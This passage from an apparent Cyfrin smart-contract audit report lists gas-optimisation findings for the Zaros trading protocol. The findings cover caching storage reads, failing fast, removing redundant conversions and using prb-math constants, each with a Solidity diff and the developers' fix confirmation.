        assembly {
            huffGasMeter := _HUFF_GAS_METER_COMPILED_BYTECODE_OFFSET
        }
        huffGasMeter();

        // Just to trick the compiler into including the bytecode
        // This code will never be executed, because huffGasMeter() will return or revert
        bytes memory r = _HUFF_GAS_METER_COMPILED_BYTECODE;
        return (r.length, r);
    }
}
```

Recommended Mitigation:

```
SD59x18 cachedVal = indexPriceX18.intoSD59x18();

UD60x18 priceBeforeDelta = cachedVal.add(cachedVal.mul(priceImpactBeforeDelta)).intoUD60x18();
UD60x18 priceAfterDelta  = cachedVal.add(cachedVal.mul(priceImpactAfterDelta)).intoUD60x18();
```

Zaros: Fixed in commit e0396d3.

Cyfrin: Verified.

7.6.8 Use input `amount` in `TradingAccountBranch::withdrawMargin` when calling `safeTransfer`

Description: Remove redundant conversion by using input `amount` in `TradingAccountBranch::withdrawMargin` when calling `safeTransfer` at the end:

```
- uint256 tokenAmount = marginCollateralConfiguration.convertUd60x18ToTokenAmount(ud60x18Amount);
- IERC20(collateralType).safeTransfer(msg.sender, tokenAmount);
+IERC20(collateralType).safeTransfer(msg.sender, amount);
```

Zaros: Fixed in commit a4d64ac.

Cyfrin: Verified.

7.6.9 Remove redundant `unary` call from `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd`

Description: `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd` L239 does this:

```
UD60x18 markPrice = perpMarket.getMarkPrice(unary(sd59x18(position.size)), perpMarket.getIndexPrice());
```

The `unary` function takes as input a `SD59x18`, unwraps it, applies `-` to change sign then re-wraps it. Hence there is no point wrapping `position.size` first; simply apply `-` on the native type then wrap it.

Recommended Mitigation: Use this more efficient and simpler version:

```
UD60x18 markPrice = perpMarket.getMarkPrice(sd59x18(-position.size), perpMarket.getIndexPrice());
```

The same change could also be made in `LiquidationBranch::liquidateAccounts`, eg:

```
ctx.oldPositionSizeX18 = sd59x18(position.size);
- ctx.liquidationSizeX18 = unary(ctx.oldPositionSizeX18);
+ ctx.liquidationSizeX18 = sd59x18(-position.size);
```

Zaros: Fixed in commit 5ffe8f4.

Cyfrin: Verified.

7.6.10 Needless addition in `TradingAccount::withdrawMarginUsd`

Description: Needless addition in `TradingAccount::withdrawMarginUsd` since this is an output variable that has no prior assignment or value:

```
File: TradingAccount.sol
371:             withdrawnMarginUsdX18 = withdrawnMarginUsdX18.add(amountUsdX18);
380:             withdrawnMarginUsdX18 = withdrawnMarginUsdX18.add(marginToWithdrawUsdX18);
```

Recommended Mitigation:

```
- 371:             withdrawnMarginUsdX18 = withdrawnMarginUsdX18.add(amountUsdX18);
- 380:             withdrawnMarginUsdX18 = withdrawnMarginUsdX18.add(marginToWithdrawUsdX18);

+ 371:             withdrawnMarginUsdX18 = amountUsdX18;
+ 380:             withdrawnMarginUsdX18 = marginToWithdrawUsdX18;
```

Zaros: Fixed in commit 672a08b.

Cyfrin: Verified.

7.6.11 `LiquidationKeeper::checkUpkeep` should only continue processing if lower bounds are smaller than upper bounds

Description: `LiquidationKeeper::checkUpkeep` should only continue processing if `checkLowerBound < checkUpperBound || performLowerBound < performUpperBound` at L70.

Currently the revert check uses > instead of >= but if `checkLowerBound == checkUpperBound` then `LiquidationBranch::checkLiquidatableAccounts` will simply return an empty output array so there's no point in calling that function.

Recommended Mitigation:

```
- if (checkLowerBound  > checkUpperBound || performLowerBound > performUpperBound) {
+ if (checkLowerBound >= checkUpperBound || performLowerBound >= performUpperBound) {
    revert Errors.InvalidBounds();
}
```

Zaros: Fixed in commit 843b412.

Cyfrin: Resolved.

7.6.12 Fail fast in `LiquidationBranch::checkLiquidatableAccounts`

Description: In `LiquidationBranch::checkLiquidatableAccounts` there is no point calling `GlobalConfiguration::load` if the function is going to exit early because `upperBound - lowerBound == 0`. Hence only load global config if this isn't the case.

Recommended Mitigation:

```
function checkLiquidatableAccounts() returns (uint128[] memory liquidatableAccountsIds) {
{
    liquidatableAccountsIds = new uint128[](upperBound - lowerBound);
    if (liquidatableAccountsIds.length == 0) return liquidatableAccountsIds;

    // @audit only load global config if we didn't fail fast
    GlobalConfiguration.Data storage globalConfiguration = GlobalConfiguration.load();

    for (uint256 i = lowerBound; i < upperBound; i++) {
```

Zaros: Fixed in commit 969e43d.

Cyfrin: Verified.

7.6.13 Fail fast in `LiquidationBranch::liquidateAccounts`

Description: In `LiquidationBranch::liquidateAccounts` there is no point calling `GlobalConfiguration::load` if the function is going to exit early because `accountsIds.length == 0`. Hence only load global config if this isn't the case.

Recommended Mitigation:

```
function liquidateAccounts(uint128[] calldata accountsIds, address liquidationFeeRecipient) external {
    // @audit fail fast
    if (accountsIds.length == 0) return;

    // load global config
    GlobalConfiguration.Data storage globalConfiguration = GlobalConfiguration.load();

    // only authorized liquidators are able to liquidate
    if (!globalConfiguration.isLiquidatorEnabled[msg.sender]) {
        revert Errors.LiquidatorNotRegistered(msg.sender);
    }
```

Zaros: Fixed in commit c004e8f.

Cyfrin: Verified.

7.6.14 Remove boolean condition that will always be `false` from `LiquidationBranch::liquidateAccounts`

Description: Consider this section of code from `LiquidationBranch::liquidateAccounts`:

```
// if account is not liquidatable, skip to next account
// account is liquidatable if requiredMaintenanceMarginUsdX18 > ctx.marginBalanceUsdX18
if (!TradingAccount.isLiquidatable(requiredMaintenanceMarginUsdX18, ctx.marginBalanceUsdX18)) {
    continue;
}

UD60x18 liquidatedCollateralUsdX18 = tradingAccount.deductAccountMargin({
    feeRecipients: FeeRecipients.Data({
        marginCollateralRecipient: globalConfiguration.marginCollateralRecipient,
        orderFeeRecipient: address(0),
        settlementFeeRecipient: liquidationFeeRecipient
    }),
    pnlUsdX18: ctx.marginBalanceUsdX18.gt(requiredMaintenanceMarginUsdX18.intoSD59x18())
        ? ctx.marginBalanceUsdX18.intoUD60x18()
```

```
        : requiredMaintenanceMarginUsdX18,
```

When determining what to use for input variable `pnlUsdX18`, it checks if `ctx.marginBalanceUsdX18 > requiredMaintenanceMarginUsdX18`.

However it is impossible for this to be true since the call to `TradingAccount::isLiquidatable` has already affirmed that `requiredMaintenanceMarginUsdX18 > ctx.marginBalanceUsdX18`.

Recommended Mitigation:

```
pnlUsdX18: requiredMaintenanceMarginUsdX18
```

Zaros: Fixed in commit 492a3cf.

Cyfrin: Verified.

7.6.15 Optimize away `liquidatedCollateralUsdX18` variable from `LiquidationBranch::liquidateAccounts`

Description: The `liquidatedCollateralUsdX18` variable is used to store the return value of `TradingAccount::deductAccountMargin`, then the only other use is to assign it to `ctx.liquidatedCollateralUsdX18`.

Hence it can be simply optimized away by performing the assignment directly to `ctx.liquidatedCollateralUsdX18`.

Recommended Mitigation:

```
ctx.liquidatedCollateralUsdX18 =
↪  ctx.liquidatedCollateralUsdX18.add(tradingAccount.deductAccountMargin({...
```

Zaros: Fixed in commit e2fa7cd.

Cyfrin: Verified.

7.6.16 Don't read `position.size` from storage after `position` has been reset in `LiquidationBranch::liquidateAccounts`

Description: Consider this code:

```
// reset the position
position.clear();

tradingAccount.updateActiveMarkets(ctx.marketId, ctx.oldPositionSizeX18, SD_ZERO);

// @audit `position` has just been reset so there is no point in reading
// `position.size` from storage as it will always be zero
(ctx.newOpenInterestX18, ctx.newSkewX18) = perpMarket.checkOpenInterestLimits(
    ctx.liquidationSizeX18, ctx.oldPositionSizeX18, sd59x18(position.size), false
);
```

Here `position` has just been reset then in the call to `PerpMarket::checkOpenInterestLimits` for the third parameter, the value 0 will always be read from storage when reading `position.size`. There is no point in paying the cost of a storage read; just pass 0.

Recommended Mitigation:

```
(ctx.newOpenInterestX18, ctx.newSkewX18) = perpMarket.checkOpenInterestLimits(
    ctx.liquidationSizeX18, ctx.oldPositionSizeX18, sd59x18(0), false
);
```

Or even better following the recommendation from the finding `Use constants for sd59x18(0) and ud60x18(0)`, use named imports to import the `prb-math` defined constant:

```
import { UD60x18, ud60x18, ZERO as UD60x18_ZERO } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18, ZERO as SD59x18_ZERO } from "@prb-math/SD59x18.sol";

(ctx.newOpenInterestX18, ctx.newSkewX18) = perpMarket.checkOpenInterestLimits(
    ctx.liquidationSizeX18, ctx.oldPositionSizeX18, SD59x18_ZERO, false
);
```

Zaros: Fixed in commit e4fae03.

Cyfrin: Verified.

7.6.17 Fail fast in `PerpMarket::checkOpenInterestLimits`

Description: In `PerpMarket::checkOpenInterestLimits` there is no point in calculating `newSkew` if the transaction is going to revert because `newOpenInterest > maxOpenInterest`.

Recommended Mitigation: Only calculate `newSkew` if the revert doesn't happen:

```
// calculate new open interest which would result from proposed trade
// by subtracting old position size then adding new position size to
// current open interest
newOpenInterest = ud60x18(self.openInterest).sub(oldPositionSize.abs().intoUD60x18()).add(
    newPositionSize.abs().intoUD60x18()
);

// revert if newOpenInterest > maxOpenInterest
if (newOpenInterest.gt(maxOpenInterest)) {
    revert Errors.ExceedsOpenInterestLimit(
        self.id, maxOpenInterest.intoUint256(), newOpenInterest.intoUint256()
    );
}

// calculate new skew if txn didn't revert
newSkew = sd59x18(self.skew).add(sizeDelta);
```

Zaros: Fixed in commit 21603c9.

Cyfrin: Verified.

7.6.18 Cache `self.skew` in `PerpMarket::checkOpenInterestLimits` to avoid reading same value from storage twice

Description: Cache `self.skew` in `PerpMarket::checkOpenInterestLimits` to avoid reading the same value from storage twice:

```
// cache skew
SD59x18 currentSkew = sd59x18(self.skew);

// calculate new skew using cached skew
newSkew = currentSkew.add(sizeDelta);

// calculate bool using cached skew
bool isReducingSkew = currentSkew.abs().gt(newSkew.abs());
```

This saves 1 storage read and 1 wrapping call to `sd59x18`.

Zaros: Fixed in commit 94087ac.

Cyfrin: Verified.

7.6.19 In `PerpMarket::checkOpenInterestLimits` only calculate `isReducingSkew` if `shouldCheckMaxSkew == true`

Description: There is no point in calculating `isReducingSkew` every time since it is only used when `shouldCheckMaxSkew == true`. Hence refactor to only calculate in this case:

```
if(shouldCheckMaxSkew && newSkew.abs().gt(ud60x18(self.configuration.maxSkew).intoSD59x18()) {
    // determine whether skew is being reduced or not
    bool isReducingSkew = sd59x18(self.skew).abs().gt(newSkew.abs());

    if(!isReducingSkew) revert Errors.ExceedsSkewLimit(self.id, self.configuration.maxSkew,
    ↪  newSkew.intoInt256());
}
```

Zaros: Fixed in commit fead6f5.

Cyfrin: Verified.

7.6.20 Cache `sd59x18(sizeDelta)` in `OrderBranch::simulateTrade` to prevent wrapping the same value 3 additional times

Description: Cache `sd59x18(sizeDelta)` in `OrderBranch::simulateTrade` to prevent wrapping the same value 3 additional times.

Zaros: Fixed in commit d2b2b89.

Cyfrin: Verified.

7.6.21 Use constants for `sd59x18(0)` and `ud60x18(0)`

Description: `prb-math` provides constants for `sd59x18(0)` and `ud60x18(0)` to avoid having to continuously calculate them or define your own constants.

Recommended Mitigation: Use aliased imports to prevent naming clashes:

```
import { UD60x18, ud60x18, ZERO as UD60x18_ZERO } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18, ZERO as SD59x18_ZERO } from "@prb-math/SD59x18.sol";
```

Then use the aliased imports in `OrderBranch` and `LiquidationBranch` where `sd59x18(0)` is currently used.

Zaros: Fixed in commit 5ff99a3.

Cyfrin: Verified.

7.6.22 Fail fast in `OrderBranch::createMarketOrder`

Description: In `OrderBranch::createMarketOrder` there is no point in loading a bunch of stuff from storage only to then check and revert if the input parameters are incorrect or if the market is not enabled.

Recommended Mitigation: Generally we want to fail as quickly as possible; a good strategy is to:

- check input parameters first
- load something from storage (eg global config data)
- perform checks against that thing we just loaded from storage
- load next thing from storage and check against that

```
function createMarketOrder(CreateMarketOrderParams calldata params) external {
    // @audit check input params first
    if (params.sizeDelta == 0) revert Errors.ZeroInput("sizeDelta");

    // @audit load global config and check against it
    GlobalConfiguration.Data storage globalConfiguration = GlobalConfiguration.load();
    globalConfiguration.checkMarketIsEnabled(params.marketId);

    // @audit load the next thing and perform checks against that and so on..
```

Similarly applies to `SettlementBranch::_fillOrder`.

Zaros: Fixed in commit 5fd1f9f.

Cyfrin: Verified.

7.6.23 Multiple levels of abstraction result in the same values being repeatedly read from storage over and over again

Description: Multiple levels of abstraction in the codebase result in the same values being repeatedly read from storage over and over again.

For example, `SettlementBranch::_fillOrder` should cache `oldPosition.size` to prevent reading the same value from storage multiple times; one possible place to put the cached copy is inside `FillOrderContext` using the `SD59x18` type to also save converting it every time.

But because of the multiple levels of abstraction, even if the above is implemented the same unchanged value will still be repeatedly read from storage inside:

- the call to `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd` which will also load the old position and read its size from storage
- the calls to `Position::getUnrealizedPnl` and `getAccruedFunding` for `oldPosition` which also internally read the same unchanged `size` from storage

Recommended Mitigation: Zaros is only planning to deploy on L2s where the current gas costs are cheap. Even so it may be useful to think about how the abstraction layers could be designed to minimize reading the same values from storage over and over again. Ideally values which don't change would be read from storage once then passed as inputs to subsequent calls as needed.

Zaros: Acknowledged; we have fixed some of the storage reads per the recommendations but will defer significant refactoring for a later release.

7.6.24 Return fast in `TradingAccountBranch::getAccountLeverage` when margin balance is zero

Description: Return fast in `TradingAccountBranch::getAccountLeverage` when margin balance is zero:

```
function getAccountLeverage(uint128 tradingAccountId) external view returns (UD60x18) {
    TradingAccount.Data storage tradingAccount = TradingAccount.loadExisting(tradingAccountId);

    SD59x18 marginBalanceUsdX18 =
    ↪  tradingAccount.getMarginBalanceUsd(tradingAccount.getAccountUnrealizedPnlUsd());

    // @audit no need to calculate position notional value if margin balance is zero
    if(marginBalanceUsdX18.isZero()) return marginBalanceUsdX18.intoUD60x18();

    UD60x18 totalPositionsNotionalValue;

    for (uint256 i = 0; i < tradingAccount.activeMarketsIds.length(); i++) {
        uint128 marketId = tradingAccount.activeMarketsIds.at(i).toUint128();
```

```
        PerpMarket.Data storage perpMarket = PerpMarket.load(marketId);
        Position.Data storage position = Position.load(tradingAccountId, marketId);

        UD60x18 indexPrice = perpMarket.getIndexPrice();
        UD60x18 markPrice = perpMarket.getMarkPrice(unary(sd59x18(position.size)), indexPrice);

        UD60x18 positionNotionalValueX18 = position.getNotionalValue(markPrice);
        totalPositionsNotionalValue = totalPositionsNotionalValue.add(positionNotionalValueX18);
    }

    return totalPositionsNotionalValue.intoSD59x18().div(marginBalanceUsdX18).intoUD60x18();
}
```

Zaros: Fixed in commit 8ae8340.

Cyfrin: Verified.